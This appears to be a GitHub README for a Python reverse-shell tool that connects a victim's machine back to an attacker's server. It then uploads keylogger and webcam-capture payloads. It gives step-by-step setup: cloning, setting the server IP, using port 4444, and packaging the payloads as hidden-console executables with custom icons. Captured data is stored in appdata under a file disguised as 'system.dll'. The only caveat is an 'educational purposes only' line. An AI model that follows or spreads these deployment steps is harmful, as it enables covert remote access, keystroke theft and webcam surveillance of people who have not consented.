curiousavenger/pyreverseshell

A Reverse Shell, also known as a remote shell or "connect-back shell" is process used to gain access a victim's remote system by initiating a shell session. The Py-ReverseShell is a shell code written in python that is able to establish a remote connection and upload KeyLoggers and Camera Monitoring onto the Victims systems.

Py-ReverseShell

A Reverse Shell, also known as a remote shell or "connect-back shell" is process used to gain access a victim's remote system by initiating a shell session. The Py-ReverseShell is a shell code written in python that is able to establish a remote connection and upload KeyLoggers and Camera Monitoring onto the Victims systems. Everything Above is for educational purposes only.

How To Install

• git clone https://github.com/CuriousAvenger/Py-ReverseShell
• pip install -r requirements.txt
• python3 RS-Server.py or RS-Client.py
• pyinstaller --onefile --noconsole -i icon filename -n output.exe

How To Use

• A host is required to run RS-Server.py, while a victim connects
• Change the IP address in RS-Client.py to the server's address
• Use ipconfig or ifconfig to get the IP address of host machine.
• After client connect, type help to see available commands

Additional Payloads

• Convert CamCapture.py and Keylogger.py into exe files using below code
• pyinstaller --onefile --noconsole -i <icon> <filename> -n <output.exe>
• Upload & run these payloads using upload & start features in shell
• All required information will be stored in appdata as system.dll

Error Handling

• Make sure the two users are not from the same device, else shell will crash.
• Make sure victim and server are connected to same Wifi. Enable port forwarding otherwise.
• If you run into a forever loop use task manager to kill the python task.
• Make sure no other program uses the port 4444 or change it if it does
• Payloads by default are not initalized on purpose. Highly recommend to mess with them before using.